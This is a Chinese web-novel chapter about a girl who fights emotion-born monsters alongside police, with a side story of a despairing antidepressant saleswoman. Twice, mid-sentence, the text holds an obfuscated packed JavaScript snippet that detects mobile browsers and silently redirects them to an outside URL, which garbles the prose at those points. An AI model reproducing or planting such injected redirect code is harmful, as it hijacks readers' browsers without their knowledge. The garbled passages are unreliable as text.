霓虹灯在繁华的街头闪烁,刺眼得令人看不见月光。男生揉了揉自己的眼睛,背上的吉他越发沉重。两个女生决定去大吃一顿,他则是选择了回家,因为她们去的地方原本是想要用来办庆功宴的。 他自认为没有两个女生那么消沉,毕竟她们虽然强行挤出笑容,实际状态比自己是差得多的。 他和青木相识已久,两个人是乐队的创始人,两个女生是后来才加入的,所以最了解青木的就是他了。 这次的车祸,他真心地为青木感到心疼。在他的脑海中,青木举着酒杯有些醉意而又目光坚定地说着“绝对要成功”,这样的情景不知道重复了多少遍。 青木早就给他讲过了,自己是如和错失了青春,是如何搞砸了升学,是如何在面试中碰壁,是如何做不好那么多的事情。但是唯独青木拿起吉他,站在麦克风前面的时候,那是如此强大的气场,连他也为此着迷。 “青木,连音乐都要失败了吗……” 男生看向一旁的自动贩卖机,他买了一罐汽水,然后直接坐在路边一饮而尽。 “可恶!” 易拉罐被他捏变了形,伴随着他不甘的低吼,把路过的行人吓了一跳。 “抱歉。”他连忙抬起头道歉,可是没想到见到了熟人,“咦?吉田?” 被叫吉田的女生后退了一步,稍微用力挽住一旁男生的胳膊。 “是你认识的人吗?”那个被挽住的男生问道。 “嘛,姑且是的。”吉田眼睛躲闪,想要快点离开,但是并没有办法如愿。 男生眉头一皱,“吉田,你不是青木的女朋友吗?这是怎么回事?” “嗯?青木?没有听你讲过呢。” “没有没有。”吉田连忙摆摆手,“是他认错人了吧。” “喂!你在说什么啊?你知不知道青木现在躺在医院里啊?他直到昨天,和我提起你的事的时候都是洋溢着幸福的笑容啊!” “你别太过分了!我并不认识什么青木!” 吉田当然不会承认,这个偷偷认识的男生要比青木成功得多,父母是经营着公司的创业者,而男孩本人也是要继承家族企业的。反观青木,只有不切实际的理想,她不想跟着青木去过还不知未来饥饱的生活。 就在不久之前,她先打电话提出了分手,现在的青木已经和她没关系了。想到这,她的脸上有些愤怒,如果因为这个大嘴巴,让自己好不容易相处在一起的优秀的对象吹了,她真不知道自己要怎么活。 背吉他的男生怀疑自己听错了,青木如此在乎这样一个人,但是对方却说不认识青木,这让他一下子明白了发生了什么,不禁连连摇头,“真是没想到啊……” 突然,有两辆警车从三人身边经过,刺耳的警笛声突兀地破坏了夜晚原有的和谐感。三人同时看向警车开去的方向,话题就这样突然地终止了。 警察头都大了,“怎么又是医院?”他很想重重地锤一下方向盘,但是毕竟是在开车,他也办不到。 副驾驶的警察便说:“也不是不能理解吧,医院本来就是负面情绪的人多的地方,身体的痛苦会降低心理的承受能力,原本坚强的人也很可能会在身体难受的过程中暂时变得脆弱。” “所以那个说法是真的?负面情绪那个?” “谁知道呢,但是真相总会有浮出水面的时候。” 饭店里,黑木放下了电话,“恐怕又有怪物出现了,我们必须到场了。” 晴子和风夏点点头,三人赶紧吃完剩下的一点食物,把帐一结就出发了。当黑木的车停下之后,立即有警察跑了过来,还能听到有枪声从大楼里传出来。 “黑木先生!” “情况怎么样?” “怪物现身了!” “嗯?” 黑木一愣,晴子也是感到不可思议,因为上一次是自己触碰过,怪物才被人看见的,怎么这一次所有人都可以直接看见了? 大楼内,一个警察被怪人一拳打中面门,鼻梁立即被打碎,鼻血疯狂地流出来,整个人眼冒金星,立即倒在了地上。 令一名警察赶紧将他拖到一旁,“酒井!酒井!”,然而酒井连回应的力量都没有,或者说他压根控制不了自己的身体。 旁边有两名警察换好弹夹连开数枪,但是子弹基本都是被弹飞,并没有办法打入怪人体内。 此时急促而散乱的脚步声传来,是黑木和晴子到了。 “黑木先生!这里危险!”一名警察脱口而出,但是他又看到了黑木侧后方的晴子,这。刚要说点什么,两人就已经跑到他前面了。 警察们看到一个女孩突兀地出现在现场,都很有默契地开始行动。状态还好的人带着伤员赶紧远离,不过已经牺牲的警察们的遗体就暂时没法去管了。 “要上了!” “嗯!” 两人一起跑向怪人,由于黑木无法造成实质性伤害,所以只能想办法辅助。 晴子的架势和上一次比起来有了很明显的不同,看起来似乎有模有样了。 警察们本来充满了担心,但是当晴子一拳真的打到怪人身上时,大家只看到怪人连退三步,就突然之间充满了信心,眼睛都像打了高光一般。毕竟他们之前实在是打得太过辛苦,如果不是因为他们受到过训练,估计已经全军覆没了。 与此同时,晴子却皱起了眉头,因为感觉对方实在是太软了。那一拳看似将对方打退三步,实际上估计力量都被极具弹性的身体卸掉了,并没有造成多大的伤害。 此时,科搜研也来到了现场,桂田西人和助手配合将可能起到作用的设备放到了地上,并且开始大量拍摄照片和记录数据。 晴子的余光注意到了这件事,她必须更加卖力地进行攻击,否则其他人就有可能陷入危险。 正想着,晴子用胳膊挡了怪人一拳,本来以为自己会感到疼痛,但是她却感到异常麻木。她用力握了握拳,胳膊才渐渐恢复正常的知觉。 黑木一个飞踢踢向怪人的颈部,虽然一如既往地起不到作用,但是毕竟是一个成年人的惯性,让怪物的身形发生偏移,帮还未恢复的晴子提供了恢复的时间。他落地后没有停下,掏枪就对着对方的眼睛打了过去。在第三枪的时候成功命中,这一次,怪人的左眼流出了黑色的液体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一爪过去,明明之前如此难以攻破的怪人竟然出现了伤口,这令她十分惊喜。 与此相对的,警察们则是变了脸色。在好端端的人身上出现了这样的变化,这实在称不上是正常。但是大敌当前,还是要先着眼于敌人才行。 晴子和怪人正战在一起,大楼外边又有一辆车开了过来,这次并不是一般的警车,而是一个专用的小卡车。挂车后面打开,数个警察跑了出来,每个人都携带着一把突击步枪。 这是怪物出现后,现场的警察判断了状况立即申请的支援,现在总算到了。 “闪开一下!” 一名警察冲着晴子喊了一声,晴子转头一看,几把枪已经架好,于是她赶紧后退几步。 “进攻!” 随着一声命令,密集的子弹就打了过来。怪人的皮肤还是没有受到伤害,虽然它还是做出了躲避和遮挡子弹的动作,但是即便是被晴子已经破防的地方,也不是子弹能够打进去的,不过警察们趁着这个时间把黑木救了回来。 支援来的队长眉头深深皱起,在打了一轮之后叫停了进攻。 晴子见状,又重新开始了自己的爪击。期间,她又被怪人打中几拳,但是由于胳膊已经不是人样了,所以这几拳挡下来并没有麻木的感觉。 怪人渐渐被逼到山穷水尽的地步,但晴子也掏不出什么体力来了。感到自身已经十分危险的怪人突然发出尖叫,晴子咬着牙捂住了耳朵,而警察们则几乎都立即昏迷,丧失行动力的黑木受到的伤害尤其严重。 晴子感觉脑袋都要疼炸了,利爪瞬间破碎。她即便再如何用力堵住耳朵,都没有办法阻挡声音刺入自己的大脑。一种强烈的悲伤和不甘同时袭来,在很短的时间就让她的精神动摇地相当厉害。 终于,晴子受不了了,她的尖叫带着怒吼迸发而出,同时身体上出现了一阵黑气。仿佛是如同受到了某种物质的感染一般,她的全身从心脏开始延伸,逐渐完全变成了非人的样子。 就在变为非人类的同时,晴子感到声音对自己的影响只剩了刺耳,而不具备伤害了。也是在此刻,她突然感到自己刚才的几近崩溃的情绪也骤然消失了。 她一步步走向怪人,周围的环境仿佛都变得缓慢,那刺耳的声音也在渐渐变小。怪人的狰狞在她的眼中不再可怕,她的心中只剩下一股莫名的“空”。 只是一拳,怪人的身体变形,那蛛丝般的皲裂再次出现,这一拳直接打得凹陷进去,并且完全没有回弹。 怪人一只手捂着皲裂的位置,另一只手颤抖着抬起来,然后突然失了力气,又低垂下去,身体化为了黑烟。 在原地站了片刻,晴子才缓缓转了转头,发现现场已经是一片狼藉了。她想随手扶起一个装饰用的塑料花,伸出手的时候突然发现自己的手臂变了样子,她连忙看了一下自己的身体和腿,发现已经全部不是原来的样子了。 她捡起一块镜子碎片,看了一眼自己的脸后一下愣住了,然后猛地将其丢开。 碎片进一步破碎的声音清晰地刺激着她的内心,只见一阵黑烟消散,她回到了人类的样子。 不久后,警察们将昏迷的同事们全部就地送进了病房,就是哪里都找不到晴子的身影。 当风夏被告知晴子不知去向之后,她便给家里打了个电话,但是母亲说晴子并没有回去,风夏连忙连打电话带跑地去找,警察们也在医院中展开搜寻。 漆黑的房间中,空旷的卧室里,晴子在床上蜷缩着身体,背靠墙角坐着。明显的的关门声传来,又是几下小声但清脆的脚步声,最后是啪地一声,灯亮了起来。 “抱歉,借用了你放在家里的钥匙。” 风夏穿着鞋跪上床,一把抓住了晴子的手,轻微的喘气声伴随着些许热气在晴子的小臂旁边出现。 “好冰。” 风夏脱下外衣盖在了晴子的身上,“总算找到你了”。 现在已经过去了一个多小时,到处都没有找到晴子,风夏也是灵机一动,才终于在这个老房子找到了她。 风夏的手很热,热到发烫,汗水几乎浸湿了她的T恤,不过晴子并不嫌弃。 “呐,风夏,我变成怪物了。” 仅仅说了一句话,晴子就几乎要抽泣起来,明明之前只是那样呆呆地坐着。 “我听黑木先生说了你的手臂的事情。” “不,我全身都是怪物了。” 风夏就像被噎住了喉咙,停了一会才说:“没事的,你还是你。” “不,我已经不是我了,我是丑陋的怪物。” “不会的,你现在不是好好的吗?” “我之前可不是这样的。” “没事的,不管你变成什么样都还是你。” “没事的?你凭什么这么说!”晴子抬起头,愤怒、悲伤、恐惧的情绪已经令她歇斯底里,“你又没有见过我当时的样子!你又明白什么!你知道我那副不是人的姿态是什么样子吗?明明我想和怪物战斗,但是我自己已经变成怪物了啊!” “那又怎么样!”风夏喊道,“就算你变成怪物又如何!你现在不还是你吗!你以为你变成怪物我就会还怕你吗!我就会嫌弃你吗!开什么玩笑!你可是我重要的朋友啊!”她的声音又重新弱了下来,“不是这样吗?” 晴子再也抑制不住自己的情感,猛地哭喊了出来,风夏用力将她搂进怀里。两个人就保持着这样的状态,直到晴子整理好自己的情绪。 回去的路上,晴子轻声道:“抱歉,对你说出了那样的话。” 风夏笑着揉了揉晴子的头发,“没事的。” “你总是这么乐观开朗呢,跟你比起来,我真是弱小。” “别这么说自己,你不知道,在我眼里你有多么迷人。” 晴子有些不好意思又有些好奇地看向风夏,“我们认识的时间也不长啊,为什么你这么说,还对我这么好?” “这个嘛……保密。” “什么嘛,吊人家胃口。” 女孩们的脸上都挂上笑容,晴子心中的郁气也出了一大半了。 “我决定了。” “什么?” “不管我是什么样子,我都要继续与怪物对抗,毕竟这是只有我才能做到的事。” 风夏欣慰道:“终于变回原来的你了。” 警视厅中此时可就不平静了,就在这个时候召开了会议。科搜研的照片很好地记录下了晴子变化的手臂,这一瞬间就让警视厅内的意见分为了两派。 黑木已经从床上坐起来,虽然还是拿不稳东西,但是他让人帮忙拿来电脑,然后远程参加会议。 在经过了众人的讨论后,厅长问道:“黑木,你怎么看?” “是。我认为,香月晴子是我们重要的战力,只有她才能战胜那些怪人。” “我可不这么觉得。”说话的是前去支援的那名队长,“你躺在地上应该看不清楚吧,我们可是看得很清楚啊,她那两个利爪对怪人造成的伤害,即便是我们子弹都打不穿的东西,那利爪都可以划开。而且她双臂的样子可不是人拥有的东西啊,说不定她只是和那些怪人不同势力的怪人的一员罢了,说不定是地盘的争夺呢。” 黑木一下子就感觉有些生气了,“你太失礼了八塚队长,这个女孩我已经接触了一段时间了,我看人还是蛮准的。她不知道帮我们解决了多少麻烦,你不会以为这几次事件都很轻松吧?” “可笑,一段时间?做警察的不会不知道人能恶劣到什么地步吧,你居然能说得出接触了一段时间这样的话?” 黑木摇了摇头,“只要和她接触过就可以感觉得到,虽然是有些笨拙的女孩,但她很真诚。” “你这么坚定,那我可以请你担起一切责任吗?话又说回来,你担得起责任吗?” “当然,如果她造成了不好的后果,你大可以用你最喜欢的步枪给我来一下。” 双方争执不下,现场的火药味越来越浓,最终这个议题还是不了了之了。只是八塚玄在离开时狠狠地瞪了黑木一眼,“我可不会相信你的话。” 4. 支柱 过了几天,科搜研对上次采集的数据分析完毕,桂田西人看着手中的报告,这实在是一沓不能被称之为有价值之物的东西。 另一名研究员也是满脸愁容地站在他的身边,“桂田先生……” 桂田摇了摇头,呼气不由得重了一些,“完全不够,凭现在的我们,还没有办法在这次的数据中看出任何东西。” 一家寿司店里,电视中仍然报道着上次事件的后续进展,食客们都纷纷偏头去看。 “金枪鱼大腹,请用。”老板将寿司放到了一个女人面前,但是后者却完全没有任何回应。 “客人,怎么了?在担心吗?” 听见老板的询问,女人抬起头连忙摆摆手,脸上也挤出了一丝笑容,“啊,谢谢,确实是有些担心呢。” 老板也忧心忡忡地看着电视上的画面,手上还捏着下一份寿司,“最近真是不太平啊。” 电视上,一个手上缠着绷带的老人在接受着采访,“所以我说,我就是看见了怪物,是那种人型的但又不是人的东西!” “呐,是这样说的呢。”老板问道,“你怎么看,你觉得是真的吗?” 女人缓慢地咽下一口寿司,“或许吧。” 老板耸耸肩,“现在反正还没有波及到我们,如果还有新的情况,媒体大概会报道的吧?所以现在跟我们也还没什么关系就是了,电视上的东西,怎么说呢,也不能全信吧,指不定是为了收视率的噱头。” 然而女人却并不这么认为,在那一家医院两次出事,不仅是那里的病人和家属,甚至是附近的人和其他医院的病人都开始产生忧虑。 两天前,课长专门找她谈话,“成田,这次的事件是我们的机会,好好干,我很期待你的成果。” “您是指要去向他们推销吗?” “嗯。”课长点点头,“不愧是你,这么快就理解了。他们正是情绪处于波动的时候,我们的药肯定有销路。” 成田想了想,稍微犹豫了一下还是说:“可是我们公司生产的明明是抑郁类的药物,他们应该不至于抑郁吧?” 课长却笑了出来,“成田,动动脑筋,你这里的销量一直是不错的,这点问题应该难不倒你才对啊,现在是这样,未来呢?假如这些事件再发生呢?抑郁的人总会出现的,而且抑郁对大多数人而言本来不就是无法描述也不知道界限的东西吗?你应该懂的抓住商机,这不仅对公司来说,对你自己也有好处。” 听到这,成田不禁沉默了下来,所谓的对自己的好处,她明白是怎么回事,一方面自己还背着房贷,另一方面,上级许诺了会在近期给她升职。一旦能够获得更多的工资和更高的地位,自己的生活应该也会更好过一些吧。 课长靠近了她一些,“其实你最近很长一段时间状态不是很好,要注意一些了,上头也会看你这一次的表现的。” 言尽于此,看着课长离去的背影,她一时间不知道该说些什么。 走出办公室,回到自己的座位上,正要看一眼手机中记录的资料,右手边座的女同事那边小声传来了一句“可恶,这谁能干得下去。” “怎么了?”看见已经抱头的同事,她终究是选择了询问。 女同事惨笑着摇摇头,“没什么,前辈。” 也不等她再开口,同事就已经拎起包离开了。 在她左手边,男同悄悄凑过来,“好像她又被课长骂了。” “又被骂了?” “那是理所当然的吧,她完全卖不出去啊。不管是医院的用药,还是个体客户的单子,她都拿不下来啊。” 成田看着女同事离去的方向,大概能明白过来这是怎么回事。那个女同事还是很年轻的,才刚毕业没多长时间。这个人太正义了,明明做的是销售,却在寻找真正严格符合抑郁症的客户,和医生谈的时候也没有一次笑着走出来过。要问她为什么知道,毕竟这是她带的后辈。 “话说回来,今晚去喝一杯吗?” 虽然两个人经常下班喝酒,但是今天她还是拒绝了,“不了,今天我妈妈叫我回去吃一顿,说是我弟弟回来了。” “那就好好享受吧,幸福的家伙。” 两人笑着寒暄了几句,就又回到了工作中。 寿司店里,成田咽下了这一口鱼香,“我也真是奢侈啊,明明不是多有钱的人,却在这种店里一直要着大腹呢。” 她拿起一个寿司看着,“也没什么不好吧,自己在生日的时候奖励自己一顿贵的,也不是那么罪恶的事情吧?” 一家live house的柜台,风夏陪着晴子点了一杯饮料。 风夏喝了一口果汁,看着现场跟着挥动手臂的众人,“这一家我还是第一次来呢,没想到氛围这么好啊。” “是吗?我倒是经常来这家。”晴子和她碰了个杯,“不过我之前关注的一个乐队似乎取消了第一次演出啊。” “诶,为什么啊?” “好像是因为主唱出车祸了,真是可惜。之前在他们的个人频道上听他们的歌,感觉还是挺对我胃口的,可是他们似乎没有再发表过新歌,也没有通知过要在哪里演出了。” “谢谢大家!” 听见台上的这一声,两人都轻轻鼓鼓掌,风夏道:“下一组好像就是我想看的那一组了。” “哦?那我也期待起来了呢。” 下一个乐队上台,台下欢呼声很高。晴子看了一眼主唱反而有些担心,“她没事吧?感觉有些憔悴呢。” “没事没事。”风夏眼中满是期待,“看着似乎是这样,但是其实是很有气势的呦。” 这时,台上的吉他奏响了第一个音,就在这一瞬间,主唱就像变了一个人一样,极具穿透力的嘶吼带动了场内的欢呼。随着架子鼓和键盘入场,现场的氛围几乎是瞬间开始爆炸。 一首重金属风格的曲子结束,风夏已经加入了高呼的人群。 “怎么样,不错吧!”她擦了一下头上的细汗,轻轻喘着气满足地将剩下的饮料一饮而尽。 晴子也连连点头,“就像是要吼尽心中的不满,真是不得了的魄力啊。” 后台,吉他手满足地擦擦汗,“呜呼!今天也这么爽!” 他看了看主唱,拍了一下她的后背,“怎么了?歌都唱了还不爽啊?” 主唱看了他一眼,两人对视了几秒,吉他手尬笑道,“怎么了呀,这样看着我。” 主唱也噗嗤一下笑了出来,“没什么,只是觉得还好有你们在身边,从大学到现在,我们都在这样彼此扶持呢。” 吉他手坐下来,将腿翘起,“是啊,我们也经历了不少。今天听你的声音,怎么,工作不顺心吗?” 主唱也坐下来,“嗯,又被课长训斥了。” 吉他手眉头一皱,有些心疼地说:“要我说,要不然别干销售了如何呢?你真的不适合这一行。说到底,你这样的人为什么要去从事销售行业呢?” “为什么呢……”主唱有些用力地握了握矿泉水的瓶子,“你知道吗,虽然公司里的那些高层都挺没品的,但是我们做的抗抑郁药品确实是有效果的。如果可以用那些药帮上某个人的话,我应该会感到很满足吧。” “可是这和销售有什么关系呢?你不如去当心理咨询师呢。” 主唱摇了摇头,“不行的。心理咨询师没有给别人开药的权限,很多人明明严重抑郁了却完全不服药辅助治疗,我如果可以说服他们服药,不仅可以拿到和医院合作的提成,最重要的是可以让他们有希望重见光明不是吗?” “可是……” “是啊,可是我没有能力,我说服不了医院接受和我们公司的合作,也说服不了患者找医生开药,到头来只空剩了不能填饱肚子的理想。” 吉他手心里很不是滋味,但又不知道要如何才能安慰,“没事的,总会好的,你毕竟是真心实意地希望帮助他们呢。” 主唱抬起头轻轻一笑,“嗯,别露出那样的表情嘛,我还是蛮好的,只是现在不顺利罢了。” 吉他手看她心态似乎还不错,也重新露出笑容,“是啊,而且你比他们好多了,他们虽然卖的多,但是比你的心应该脏多了吧,恐怕都是骗人买药也没有任何心理负担的烂人吧。” 可是主唱却立即指正道:“不是的,并不是你想的那样哦,那样的人只占很少很少的部分罢了。而且你看着我好像很惨的样子,但实际上我还是很想得开的,相比之下,虽然我的前辈看起来很有能力,实际上已经到了我想给她推销药物的地步了哦。” 深夜两点,成田从床上坐起来,打开手机看了看时间,轻叹了一口气。 “不依靠安眠药还是无法入睡啊。” 她拿出了一个装药的盒子,里面各种颜色的药品散乱地不知道放了多少板,翻翻找找,最后拿出了其中的一板。 “今天就吃这个吧。” 她取出两粒,仰头吞了下去。实际上这药一次只吃一粒,但是一粒药对她来说已经没有用了。又过了大概半个小时,她在躺着看直播的时候,渐渐失去了意识。 第二天,她吃完早饭,看了看自己不是很健康的面色,用妆容完美地盖住了之后前往了医院。 走在走廊里,她发现很少有人在外面走动。 “是我来得太早了吗?应该不会吧,按理说这个时候大部分应该连早饭都吃完了吧?但是根本没有几个人来看病不说,连住院部里也没几个人在活动。” 但是想想她也就理解了,毕竟出了两次事,大概除了那些没办法的病人之外,已经没有人会选择这家医院了吧。 看着一个拄着拐杖经过的男人,她心中一沉,“居然要我给这些人推销药物呢,真是过分啊,他们所需要的明明只是关心和帮助就够了。” 然而这时,上次见到的父亲刺眼的白发和慈祥的笑容又出现在了自己的脑海里,她闭上眼睛,实在不想让父母再住在那个小房子里,可是自己的房贷都还不完呢。睁开眼睛,她的步伐坚定了一分。 “是成田小姐来了啊,请坐。” 成田立即满是笑容地坐下,看着眼前这位医生,这确实不是她第一次来这了,不过上一次并没有谈妥,这次是昨天下午才预约的。 医生递给她一杯水,她接过尝了一口,用有些惊喜的声音道,“松尾先生真是贴心啊,居然还帮我加了三粒枸杞和两个桂圆呢。” “哈哈,是新入手的,朋友帮我带来的,特意帮你提前泡了几分钟。” 在阳光之下,成田的妆容更显精致,配上她还算不错的身材,还真的有些迷人,“我今天似乎比之前更有魅力了一些啊。” 松尾也笑着坐在了她的身边,“这还真是,上次没有发现成田小姐的魅力,真是我眼拙了,我已经深刻地检讨过了。” “谢谢,过奖了。”她又喝了一口后缓缓开口,“今天本来是想了解一下患者的心理状态的,但是我看人似乎很少啊,不管是大厅还是走廊。” 松尾点点头,一边给自己泡着茶一边说:“是啊,少有的清静,不是也挺好的吗?”他也一同坐下,“上次的药,再给我讲讲吧。” 这一句令成田有些猝不及防,她本来都没有寄希望于这家医院,但是却没料到松尾自己提出来了这件事。 “虽然这话由我问可能有些奇怪,不过怎么这么突然呢?” “哪里,不过是为患者着想罢了。” “哦?这里的患者,心理状态已经糟糕到这个地步了吗?” 松尾叹了口气看向天花板,“你知道吗,我享受这样清静的生活已经不是这两天的事了,甚至连住院的一些病人都办理出院了,这样的生活再持续一段时间,有些病人说不定就没有东西治疗了哦。” 成田低下头,她怎么能不明白呢,什么为了患者着想,大不了那些病人转院就是了,反而是这个医院的医生已经开始愁钱了吧。所谓的销售,哪一方的需求更高,哪一方就自然会处于劣势。她食指敲了敲杯口,最后缓缓开始讲述关于药品的事情。 医院的另一个没有人的地方,黑木带着晴子正在检查身体。今天刚好是休息日,所以风夏也一同陪着来了。警视厅那边,科搜研的桂田和手下的高桥阳太也同时到场。 这个医生名为江藤望,是黑木认识的人,但本不隶属于这家医院,是因为警方有需求,所以这家医院为警方腾出了地方。 原本八塚玄也想过来,但是被黑木拒绝,警视厅厅长开口同意黑木个人负责和晴子有关的一切事务,八塚玄只得作罢,但是心里却是不服气的。 “别以为所有人都会迁就和信任你。”这是他留下的唯一一句话。 江藤望仔细地为晴子做了检查,随后一推眼镜得出了结论,“整体而言其实和常人没有太大的区别,但是似乎肌肉要比常人强力很多啊。” 黑木问道:“具体得说呢?” “还是实际看一下比较直观。”江藤望把一个臂力棒拿了出来,“试试这个,我想到可能有这种情况,所以特意准备的。” 晴子看见这个面露难色,“我从来没掰过这个。” “没事的,别看我年轻,实际上我的眼光还是很准的哦。” 晴子将绳子套在手腕上,做好准备,皱着眉头用力弯曲臂力棒,可是她的眉头却突然舒展,这根臂力棒很轻松地被掰弯了。 黑木奇怪道:“这确实看起来很厉害,但是这具体说明了什么呢?” 江藤望提示道:“这可是50kg的全新款哦。” “50kg!”这时黑木才反应过来,“一般她这个状态应该只能掰动20kg的吧?” “答对喽。她的肌肉状态强得吓人,全身的神经也比常人敏感,大概就是这么回事吧。” 桂田也感到可怕,“即使是人类的状态,都可以达到这个程度吗?” 江藤望站起身,招呼晴子跟上。他将一扇门打开,“第一阶段算是结束了,接下来就看你的了。” 说实话,他还是挺兴奋的,他本来就对这些东西抱有浓厚的兴趣,如果不出意外,这将是他第一次亲眼见到超出常识的东西。 晴子走进去,回头看了一眼风夏,后者做出了一个加油的手势,这让她感到了一些安心。 她看了看自己的右手,如果可以的话,她真的不想变为那种样子。可是不变成那样是不行的,自己的身上有不少人的期待,也有不少人的恐惧,必须要在判明自己战力的同时令他人安心。 她握住拳,闭上了眼睛。虽然上一次是在特定场景下顺势做到的,可是那种感觉只要经历了一次就再也忘不掉了。 她的眼睛猛地睁开,眉头轻皱,仿佛眼眶都在用力。大量的黑气从她身上冒出来,桂田提前准备的设备上,某些指数疯狂地上升。当黑气浓厚到完全遮蔽了她的身体,就在下一秒,完全不同的身姿呈现在了众人的面前。也就在这个瞬间,监控摄像头上产生了一道深深的裂痕。 江藤望看着监控画面,即便是上面有一道痕迹也毫不在乎。他直接从椅子上站了起来,几乎要扑到屏幕上,“太迷人了!这就是那种力量,就是这样的力量可以和怪人抗衡!” 桂田和高桥也开始屏住呼吸进行记录,而黑木和风夏的情绪波动就小得多。黑木认真地看着监控,这也是他第一次正式安心地观察晴子的这幅姿态。风夏则是比较担心,虽然知道应该是没事的,但还是忍不住有点紧张。 仪器上涨起来的那些数据,此刻已经逐渐都平息了下来,仿佛一切都没有发生过,但是晴子的姿态却并没有变回人,而是保持着怪人的样子。 “原来如此,怪不得什么也捕捉不到,原来能量的波动是在变化的过程中出现的,在变化之后就检测不到了啊!”桂田这才恍然大悟,之前几乎毫无价值的研究记录现在反而证实了这一点。 江藤望打开麦克风,“晴子,你还能听见并听懂我的话吗?” 晴子冲着摄像头点点头,并且竖起大拇指示意了自己的状态。而看见这一幕的众人皆是不自觉地笑了出来,尤其是风夏,这不仅证明了晴子完全保持着理智,还证明了晴子自己的身体并没有感到不适。 “在你的右后方应该有一个铁球,你试试能不能拿起来。” 晴子顺着指引看过去,确实有一个铁球在地上,可以说是相当大了,看不见都难。说是铁球,实际上应该是某种合金制品,两侧的把手预示着它的重量,地砖上的裂痕诉说着它被运来的时候是多么不易。 她用双手抓住两侧的把手,稍稍用力就将其拿了起来。除了风夏之外的人皆是惊叹不已,而就在此时,她稍作停顿,将一只手放开了。其实她自己也挺惊讶的,没想到看着这么有气势的东西却这么轻。她现在就像是提着一个装满的茶壶,从重量的感觉上形容,“正在给人倒茶”这样的描述让她感觉很贴切。 可是外面的人下巴都合不上了,除了风夏,他们都知道这东西一个就是100kg,当初推着车进来,要卸下来的时候都是靠两个很壮的警察双手抬下来的,但此刻的晴子看起来是那么游刃有余,仿佛那是一个用来把玩的东西。 哪怕知道了晴子的安全性,并且和她并肩作战过,外面的人还是在开门的时候忍不住感到恐惧。看着怪人向自己这边走来,高桥不禁退后了一步。也正是这一布,让晴子的脚步也停了下来。 “果然,我还是太可怕了吗……” 桂田质问道:“高桥,当初带你来的时候,你记得你承诺过什么吗?你现在的样子算什么?” 高桥低头躬身,“实在对不起,我没有任何不好的意思,只是我的身体自己下意识地动了起来,实在是非常抱歉,我知道晴子小姐是善良而安全的存在,还请宽恕我的冒犯。” 晴子看了看身边的镜子,她知道这是不可避免的,但心中仍然有一丝悲凉。即便是科搜研的研究员都会望而却步,就更不用说一般人了。 快到中午的时候,原本晴朗的天空聚集起了乌云。成田走在街上,抬头看了一眼渐暗的天空,脚步也仿佛被空气中漂浮的水汽压得有点沉重。 原本应该坐车,但是她就这么一步一步地走在路上。也不管到底即便是雨滴开始落下的时候她也没有感觉。 “居然走到了警视厅的门口啊。” 一直以来对此毫无感觉的她,平生第一次对警视厅产生了想要避开的念头。总觉得这并不是一个令人安心的建筑,而是令人感到危险的地狱。 雨顷刻之间下大了,水珠顺着她的发丝低落,刘海散乱地贴在她的额头上,她就这样伫立在此处,呆呆地看着警视厅的大门良久。 “如果我死后,是否也会被彼岸的警察判入地狱呢?” 她开始向前走。 “说到底,也不是什么大不了的事吧?” 她回想起了和医生的交谈。 “要想赚钱,不就该这样吗?” 她回想起了电视上的采访。 “这个世界,又有谁活得容易呢?” 她回想起了病人们的脸。 “还留在那里的,是否是已经无处可去的病人呢?” 她回想起了曾经的自己。 “说起来,我也有过守在父亲的病床边陪护的日子呢。” 她回想起了某个病房内的孩子的脸。 “他的焦虑,是我应该利用的吗?” 她回想起了父母的面容。 “真白,不管你做什么,只要你成为了让自己骄傲的人就好了。” 她停下了脚步。 到底经过了多久呢?自己到底是从什么时候开始对这个行业产生了厌倦呢?一直以来支撑自己向前走的到底是金钱还是…… 天桥下,车来车往,就像是在水泥洪流中的污垢。即便到了这样的时候,她却无法流出一滴泪,只剩下从眼角划过的雨水,能让她回想起曾经自己的内心还在跳动时的感觉。 她向自己身边看去,不知道什么时候,一个人型的怪物也同样看着自己。 “啊,是幻觉吗?还是我终于要走了呢?让这空洞而肮脏的鲜血随着雨水流尽。嘛,总觉得好累啊,已经无所谓了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266084|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……说到底,我失眠已经持续了两年了,是不是可以好好地睡一觉了呢?” “前辈!” 突然而来的喊声让她精神骤然一震,身边的怪物顷刻间变得虚幻了起来,然后化为了黑烟。 “成田前辈!你在这里干什么啊!伞也不带!” “木下,倒是你怎么在这呢?” “说来话长。”木下一把将她拉入了伞中,“一起回去吧,前辈。” 已经被完全浸湿的脸上,哪怕流下了多余的液体也看不出来,实在是方便。 回到了公司,课长看着两人一时间不知道说什么好。木下仅仅是湿了一肩,成田则是全身都湿透了。 成田用卫生纸擦干了双手,拉开皮包的拉链,从里面拿出了合同。 课长接过来,眼睛一下就亮了,“干得漂亮啊,成田!你简直就是我们公司的支柱啊!现在就希望那些医生也能努努力呢,他们能多赚几笔,对我们来说也有好处啊。” 然而成田却并没有被夸奖的感觉,她眯着眼睛慢慢坐下,将湿掉的制服脱下来。这时,身边的男同事投来了羡慕的目光,“恭喜啊。” 她猛然睁大了眼睛。 原本在医院中避雨的黑木突然接到了电话,几人向他看去,发现他的神情异常严肃,皆是停下了手中的事情。 黑木挂掉电话看向晴子,“出现了。” 几人用最快速度赶到现场,这一片早已没有人了。警方对周围进行了戒严,八塚玄已经带人开始交战了。 但是也正如所有人所料的那样,子弹似乎完全没有起到作用。 “先撤远一些,八塚!” 听见黑木的声音,八塚玄停下了开火,“你知道那东西已经干掉了多少警员吗?这时候撤开包围,那东西跑出去得死多少人你明不明白!” 